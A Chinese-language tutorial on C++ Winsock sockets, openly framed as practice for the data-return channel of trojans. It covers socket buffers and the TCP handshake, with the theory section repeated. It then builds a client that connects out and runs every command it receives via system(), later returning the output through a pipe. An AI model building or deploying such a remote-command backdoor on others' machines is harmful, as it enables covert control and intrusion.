C++ Socket詳解與研究
前言
數據傳輸是病毒木馬的必備技術之一,而數據回傳也成為了病毒木馬的一個重要特征,我們就嘗試自己寫一個程序來實現數據的傳輸,本文嘗試通過c++來進行套接字(socket)的實現
基礎知識
Socket又稱套接字,應用程序通常通過套接字向網絡發出請求或者應答網絡請求。Socket的本質還是API,是對TCP/IP的封裝
socket緩沖區
每個 socket 被創建后,都會分配兩個緩沖區,輸入緩沖區和輸出緩沖區。
write()/send() 并不立即向網絡中傳輸數據,而是先將數據寫入緩沖區中,再由TCP協議將數據從緩沖區發送到目標機器。一旦將數據寫入到緩沖區,函數就可以成功返回,不管它們有沒有到達目標機器,也不管它們何時被發送到網絡,這些都是TCP協議負責的事情。
TCP協議獨立于 write()/send() 函數,數據有可能剛被寫入緩沖區就發送到網絡,也可能在緩沖區中不斷積壓,多次寫入的數據被一次性發送到網絡,這取決于當時的網絡情況、當前線程是否空閑等諸多因素,不由程序員控制。
read()/recv() 函數也是如此,也從輸入緩沖區中讀取數據,而不是直接從網絡中讀取,如下圖所示

這些I/O緩沖區特性如下:
?I/O緩沖區在每個TCP套接字中單獨存在;
?I/O緩沖區在創建套接字時自動生成;
?即使關閉套接字也會繼續傳送輸出緩沖區中遺留的數據;
?關閉套接字將丟失輸入緩沖區中的數據。
阻塞模式
對于TCP套接字(默認情況下),當使用 write()/send() 發送數據時:
1.首先會檢查緩沖區,如果緩沖區的可用空間長度小于要發送的數據,那么 write()/send() 會被阻塞(暫停執行),直到緩沖區中的數據被發送到目標機器,騰出足夠的空間,才喚醒 write()/send() 函數繼續寫入數據。
2.如果TCP協議正在向網絡發送數據,那么輸出緩沖區會被鎖定,不允許寫入,write()/send() 也會被阻塞,直到數據發送完畢緩沖區解鎖,write()/send() 才會被喚醒。
3.如果要寫入的數據大于緩沖區的最大長度,那么將分批寫入。
4.直到所有數據被寫入緩沖區 write()/send() 才能返回。
當使用 read()/recv() 讀取數據時:
1.首先會檢查緩沖區,如果緩沖區中有數據,那么就讀取,否則函數會被阻塞,直到網絡上有數據到來。
2.如果要讀取的數據長度小于緩沖區中的數據長度,那么就不能一次性將緩沖區中的所有數據讀出,剩余數據將不斷積壓,直到有 read()/recv() 函數再次讀取。
3.直到讀取到數據后 read()/recv() 函數才會返回,否則就一直被阻塞。
這就是TCP套接字的阻塞模式。所謂阻塞,就是上一步動作沒有完成,下一步動作將暫停,直到上一步動作完成后才能繼續,以保持同步性。
對于TCP套接字(默認情況下),當使用 write()/send() 發送數據時:
1.首先會檢查緩沖區,如果緩沖區的可用空間長度小于要發送的數據,那么 write()/send() 會被阻塞(暫停執行),直到緩沖區中的數據被發送到目標機器,騰出足夠的空間,才喚醒 write()/send() 函數繼續寫入數據。
2.如果TCP協議正在向網絡發送數據,那么輸出緩沖區會被鎖定,不允許寫入,write()/send() 也會被阻塞,直到數據發送完畢緩沖區解鎖,write()/send() 才會被喚醒。
3.如果要寫入的數據大于緩沖區的最大長度,那么將分批寫入。
4.直到所有數據被寫入緩沖區 write()/send() 才能返回。
當使用 read()/recv() 讀取數據時:
1.首先會檢查緩沖區,如果緩沖區中有數據,那么就讀取,否則函數會被阻塞,直到網絡上有數據到來。
2.如果要讀取的數據長度小于緩沖區中的數據長度,那么就不能一次性將緩沖區中的所有數據讀出,剩余數據將不斷積壓,直到有 read()/recv() 函數再次讀取。
3.直到讀取到數據后 read()/recv() 函數才會返回,否則就一直被阻塞。
這就是TCP套接字的阻塞模式。所謂阻塞,就是上一步動作沒有完成,下一步動作將暫停,直到上一步動作完成后才能繼續,以保持同步性。
TCP的粘包問題
上面提到了socket緩沖區和數據的傳遞過程,可以看到數據的接收和發送是無關的,read()/recv() 函數不管數據發送了多少次,都會盡可能多的接收數據。也就是說,read()/recv() 和 write()/send() 的執行次數可能不同。
例如,write()/send() 重復執行三次,每次都發送字符串"abc",那么目標機器上的 read()/recv() 可能分三次接收,每次都接收"abc";也可能分兩次接收,第一次接收"abcab",第二次接收"cabc";也可能一次就接收到字符串"abcabcabc"。
假設我們希望客戶端每次發送一位學生的學號,讓服務器端返回該學生的姓名、住址、成績等信息,這時候可能就會出現問題,服務器端不能區分學生的學號。例如第一次發送 1,第二次發送 3,服務器可能當成 13 來處理,返回的信息顯然是錯誤的。
這就是數據的“粘包”問題,客戶端發送的多個數據包被當做一個數據包接收。也稱數據的無邊界性,read()/recv() 函數不知道數據包的開始或結束標志(實際上也沒有任何開始或結束標志),只把它們當做連續的數據流來處理。
在實際狀況來說,客戶端連續三次向服務器端發送數據,但是服務器端卻一次性接收到了所有數據,這就是TCP的粘包問題。
TCP傳輸詳解
TCP(Transmission Control Protocol,傳輸控制協議)是一種面向連接的、可靠的、基于字節流的通信協議,數據在傳輸前要建立連接,傳輸完畢后還要斷開連接。
客戶端在收發數據前要使用 connect() 函數和服務器建立連接。建立連接的目的是保證IP地址、端口、物理鏈路等正確無誤,為數據的傳輸開辟通道。
TCP建立連接時要傳輸三個數據包,俗稱三次握手(Three-way Handshaking)。
來看一下TCP數據包的結構

帶陰影的幾個字段需要重點說明一下:
1.序號:Seq(Sequence Number)序號占32位,用來標識從計算機A發送到計算機B的數據包的序號,計算機發送數據時對此進行標記。
2.確認號:Ack(Acknowledge Number)確認號占32位,客戶端和服務器端都可以發送,Ack = Seq + 1。
3.標志位:每個標志位占用1Bit,共有6個,分別為 URG、ACK、PSH、RST、SYN、FIN,具體含義如下:
?URG:緊急指針(urgent pointer)有效。
?ACK:確認序號有效。
?PSH:接收方應該盡快將這個報文交給應用層。
?RST:重置連接。
?SYN:建立一個新連接。
?FIN:斷開一個連接。
使用 connect() 建立連接時,客戶端和服務器端會相互發送三個數據包

客戶端調用 socket() 函數創建套接字后,因為沒有建立連接,所以套接字處于CLOSED狀態;服務器端調用 listen() 函數后,套接字進入LISTEN狀態,開始監聽客戶端請求。
這個時候,客戶端開始發起請求:
1.當客戶端調用 connect() 函數后,TCP協議會組建一個數據包,并設置 SYN 標志位,表示該數據包是用來建立同步連接的。同時生成一個隨機數字 1000,填充“序號(Seq)”字段,表示該數據包的序號。完成這些工作,開始向服務器端發送數據包,客戶端就進入了SYN-SEND狀態。
2.服務器端收到數據包,檢測到已經設置了 SYN 標志位,就知道這是客戶端發來的建立連接的“請求包”。服務器端也會組建一個數據包,并設置 SYN 和 ACK 標志位,SYN 表示該數據包用來建立連接,ACK 用來確認收到了剛才客戶端發送的數據包。
服務器生成一個隨機數 2000,填充“序號(Seq)”字段。2000 和客戶端數據包沒有關系。
服務器將客戶端數據包序號(1000)加1,得到1001,并用這個數字填充“確認號(Ack)”字段。
服務器將數據包發出,進入SYN-RECV狀態。
1.客戶端收到數據包,檢測到已經設置了 SYN 和 ACK 標志位,就知道這是服務器發來的“確認包”。客戶端會檢測“確認號(Ack)”字段,看它的值是否為 1000+1,如果是就說明連接建立成功。
接下來,客戶端會繼續組建數據包,并設置 ACK 標志位,表示客戶端正確接收了服務器發來的“確認包”。同時,將剛才服務器發來的數據包序號(2000)加1,得到 2001,并用這個數字來填充“確認號(Ack)”字段。
客戶端將數據包發出,進入ESTABLISED狀態,表示連接已經成功建立。
1.服務器端收到數據包,檢測到已經設置了 ACK 標志位,就知道這是客戶端發來的“確認包”。服務器會檢測“確認號(Ack)”字段,看它的值是否為 2000+1,如果是就說明連接建立成功,服務器進入ESTABLISED狀態。
至此,客戶端和服務器都進入了ESTABLISED狀態,連接建立成功,接下來就可以收發數據了
三次握手的關鍵是要確認對方收到了自己的數據包,這個目標就是通過“確認號(Ack)”字段實現的。計算機會記錄下自己發送的數據包序號 Seq,待收到對方的數據包后,檢測“確認號(Ack)”字段,看Ack = Seq + 1是否成立,如果成立說明對方正確收到了自己的數據包。
實現原理
我們知道數據傳輸肯定是有一個發送端和一個接收端的,這里我們可以稱之為服務器端和客戶端,這兩個都需要初始化Winsock服務環境
這里簡單說一下Winsock
Winsock是windows系統下利用Socket套接字進行網絡編程的相關函數,是Windows下的網絡編程接口。
Winsock在常見的Windows平臺上有兩個主要的版本,即Winsock1和Winsock2。編寫與Winsock1兼容的程序你需要引用頭文件WINSOCK.H,如果編寫使用Winsock2的程序,則需要引用WINSOCK2.H。此外還有一個MSWSOCK.H頭文件,它是專門用來支持在Windows平臺上高性能網絡程序擴展功能的。使用WINSOCK.H頭文件時,同時需要庫文件WSOCK32.LIB,使用WINSOCK2.H時,則需要WS2_32.LIB,如果使用MSWSOCK.H中的擴展API,則需要MSWSOCK.LIB。正確引用了頭文件,并鏈接了對應的庫文件,你就構建起編寫WINSOCK網絡程序的環境了。
服務端在初始化Winsock環境過后,便調用Socket函數創建流式套接字,然后對sockaddr_in結構體進行設置,設置服務器綁定的IP地址和端口等信息并調用bind函數來綁定。綁定成功后,就可以調用listen函數設置連接數量,并進行監聽。直到有來自客戶端的連接請求,服務器便調用accept函數接受連接請求,建立連接,與此同時,便可以使用recv函數和send函數與客戶端進行數據收發
客戶端初始化環境后,便調用Socket函數同樣創建流式套接字,然后對sockaddr_in結構體進行設置,這里與服務器端不同,它不需要用bind綁定,也不需要listen監聽,他直接使用connect等待服務器端發送是數據,建立連接過后,也是使用recv和send函數來進行數據接收
實現過程
這里需要用到的幾個api首先看一下結構
Socket
主要用于根據指定的地址族、數據類型和協議分配一個套接口的描述字
SOCKET WSAAPI socket( [in] int af, [in] int type, [in] int protocol );
bind
這個api的作用就是將本地地址與套接字相關聯
int bind(
[in] SOCKET s,
const sockaddr *addr,
[in] int namelen
);
listen
將一個套接字置于正在監聽傳入連接的狀態
int WSAAPI listen( [in] SOCKET s, [in] int backlog );
首先我們寫服務端的代碼,一開始是初始化winsock環境
WSADATA wsadata = { 0 };
WORD w_version_req = MAKEWORD(2, 2);
WSAStartup(w_version_req, &wsadata);
然后創建流式socket
SOCKET g_SeverSocket = socket(AF_INET, SOCK_STREAM, NULL);
設置服務器的端口并綁定ip
bind(g_SeverSocket, (LPSOCKADDR)&ServerAddr, sizeof(ServerAddr));
設置監聽客戶端的數量,這里我設置為5
::listen(g_SeverSocket, 5);
然后是服務端收到接收端的信息之后接收連接請求,使用accept
g_clientsocket = ::accept(g_ServerSocket, (sockaddr*)(&addr), &dwLength);
創建一個緩沖區接收數據
char szBuffer[MAX_PATH] = { 0 };
int Ret = ::recv(g_clientsocket, szBuffer, MAX_PATH, 0);
確認接收請求過后即可進行數據通信,使用send
::send(g_clientsocket, cmd, (::strlen(cmd) + 1), 0);
printf("[*] send:%s", cmd);
服務端完整代碼如下
BOOL SocketListen(LPSTR ipaddr, int port)
{
// 初始化winsock環境
WSADATA wsadata = { 0 };
// 初始化Winsock版本號
WORD w_version_req = MAKEWORD(2, 2);
if (WSAStartup(w_version_req, &wsadata) == SOCKET_ERROR || &wsadata == nullptr)
{
printf("[!] Failed to initialize Winsock ");
return FALSE;
}
else
{
printf("[*] Initialize Winsock successfully!");
}
// 創建流式socket
g_ServerSocket = socket(AF_INET, SOCK_STREAM, NULL);
if (g_ServerSocket == INVALID_SOCKET)
{
printf("[!] Create socket Failed");
return FALSE;
}
else
{
printf("[*] Create socket successfully!");
}
// 設置服務端地址和端口
sockaddr_in ServerAddr;
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_port = ::htons(port);
ServerAddr.sin_addr.S_un.S_addr = ::inet_addr(ipaddr);
// 綁定端口ip
if (NULL != ::bind(g_ServerSocket, (LPSOCKADDR)&ServerAddr, sizeof(ServerAddr)))
{
printf("[!] Bind port failed");
return FALSE;
}
else
{
printf("[*] Bind portBind port successfully!");
}
// 設置監聽客戶端數量
if (NULL != ::listen(g_ServerSocket, 5))
{
printf("[!] Listen port failed");
return FALSE;
}
else
{
printf("[*] Listen port successfully!");
}
return TRUE;
}
void AcceptMessage()
{
sockaddr_in addr = { 0 };
int dwLength = sizeof(addr);
g_clientsocket = ::accept(g_ServerSocket, (sockaddr*)(&addr), &dwLength);
printf("Accept link the client!");
char szBuffer[MAX_PATH] = { 0 };
while (TRUE)
{
int Ret = ::recv(g_clientsocket, szBuffer, MAX_PATH, 0);
if (Ret <= 0)
{
continue;
}
printf("[*] recv:%s", szBuffer);
}
}
void SendMessage()
{
char cmd[100] = { 0 };
cin.getline(cmd, 100);
::send(g_clientsocket, cmd, (::strlen(cmd) + 1), 0);
printf("[*] send:%s", cmd);
}
然后再是客戶端的代碼編寫,客戶端跟服務端唯一一點不同的就是沒有bind和listen即監聽過程,直接連接即可
將一個套接字置于正在監聽傳入連接的狀態
int WSAAPI listen( [in] SOCKET s, [in] int backlog );
一開始還是初始化winsock環境
WSADATA wsadata = { 0 };
WORD w_version_req = MAKEWORD(2, 2);
WSAStartup(w_version_req, &wsadata);
然后創建流式socket
SOCKET g_SeverSocket = socket(AF_INET, SOCK_STREAM, NULL);
使用connect連接服務端
connect(g_SeverSocket, (LPSOCKADDR)&ServerAddr, sizeof(ServerAddr));
然后創建線程接收數據
::CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ThreadProc, NULL, NULL, NULL);
這里建立了連接那么即可以接收信息,也可以發送信息
void SendMsg(char* pszSend)
{
//發送數據
::send(g_ClientSocket, pszSend, (::strlen(pszSend) + 1), 0);
printf("[*] Sent:%s",pszSend);
}
void GetMsg()
{
char szBuffer[MAX_PATH] = { 0 };
while (TRUE)
{
int Ret = ::recv(g_ClientSocket, szBuffer, MAX_PATH, 0);
if (Ret <= 0)
{
continue;
}
system(szBuffer);
SendMsg((LPSTR)"The command executed successfully");
}
}
到這個地方一個demo就已經完成,我們運行下程序看一下,首先打開服務端

再打開客戶端,可以看到已經連接成功

這里執行下系統命令可以看到在客戶端已經執行成功,但是有一個問題,我們如果要想在客戶端顯示服務端執行的命令該怎么辦呢?

這里就涉及到了進程間的通信,一開始我準備用共享內存去實現的,但是好像共享內存不能夠接收到system()執行后的內容,先看下代碼
HANDLE hMapObject;
HANDLE hMapView;
//創建FileMapping對象
hMapObject = CreateFileMapping((HANDLE)0xFFFFFFFF, NULL, PAGE_READWRITE, 0, 0x1000, TEXT("shared"));
if (!hMapObject)
{
printf("[!] ShareMemory failed");
return FALSE;
}
//將FileMapping對象映射到自己的進程
hMapView = MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);
if (!hMapView)
{
printf("[!] MapViewOfFile failed");
return FALSE;
}
//向共享內存寫入數據
strcpy((char*)hMapView, (const char*)system(szBuffer));
SendRet((LPSTR)"The command executed successfully");
return TRUE;
主要是strcpy()這個函數是用來向共享內存寫入數據的,所以第二個參數就是system()執行過后的返回值,但是第二個值的屬性是const char*,這里如果我強轉類型的話就會報錯

這里我寫一個test函數進行測試看一下system()的參數能不能接收到
void test()
{
int i = system("whoami");
printf("%s", i);
}
執行一下看一下輸出,可以看到system()函數自動輸出結果,而不會進入參數i,后面打印也是null,后面查閱了資料system()函數只是提供了一個接口的作用,所以共享內存的方法來接收數據不太現實,這里換了一個匿名管道的方式接收數據

匿名管道的實現代碼如下
HANDLE hRead;
HANDLE hWrite;
SECURITY_ATTRIBUTES sa;
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
if(!CreatePipe(&hRead,&hWrite,&sa,0))
{
printf("CreatePipe Failed");
return FALSE;
}
STARTUPINFO si;
//PROCESS_INFORMATION pi;
ZeroMemory(&si,sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = hRead;
si.hStdOutput = hWrite;
si.hStdError = GetStdHandle(STD_ERROR_HANDLE);
if (!::CreateProcessA(NULL, lpscmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
printf("Create Process failed, error is : %d", GetLastError());
return FALSE;
}
CloseHandle(hWrite);
::WaitForSingleObject(pi.hThread, -1);
::WaitForSingleObject(pi.hProcess, -1);
::RtlZeroMemory(lpsRetBuffer, RetBufferSize);
if (!::ReadFile(hRead, lpsRetBuffer, 4096, &RetBufferSize, NULL))
{
printf("Readfile failed, error is : %d", GetLastError());
return FALSE;
}
CloseHandle(hRead);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
實現效果
之前demo實現的效果在recv處是看不到接收端的數據的,如下所示

加一個匿名管道進行進程間的通信過后可以直接在服務端看到客戶端的返回數據
